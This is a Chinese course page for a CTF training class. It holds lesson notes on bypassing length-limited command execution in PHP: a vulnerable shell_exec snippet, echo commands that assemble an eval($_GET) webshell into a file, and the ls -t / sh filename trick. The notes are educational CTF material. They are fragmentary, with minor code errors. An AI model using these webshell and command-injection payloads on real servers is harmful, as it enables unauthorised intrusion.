默认教学计划
1839人加入学习
(5人评价)
CTF从入门到提升

入选《爆款好课TOP榜》

价格 ¥ 499.00
音频听课 手机端支持一键听课 (试一试)
该课程属于 网络安全公益-高校篇 请加入后再学习

15位、7位可控字符下的任意命令执行 :

可控字符串长度受限情况下Getshell:

15个字符:
<?php
highlight_file(_FILE_);
if(strlen($_GET[1])<15){
  echo strlen($_GET[1]);
  echo shell_exec($_GET[1]);
}else{
  exit('too long');
}
?>
 

echo /<?php >1
echo eval\(>>1
echo \$_GET>>1
echo \[1\]>>1
echo \)\;>>1

 

7个字符
<?php

highlight_file(_FILE_);
if(strlen($_GET[1])<8){
  echo shell_exec($_GET[1]);
}
?>

 

命令>文件名
结果输出到文件

>。生成文件名
ls -t >a 文件名写入a
sh a 执行写入的啊

 

欠缺。顺序  ls -t
sh a

长命令\换行分隔

l\
s
pw\
d

 
 
 
 
 
 
 
 
[展开全文]

授课教师

课程特色

视频(60)
下载资料(15)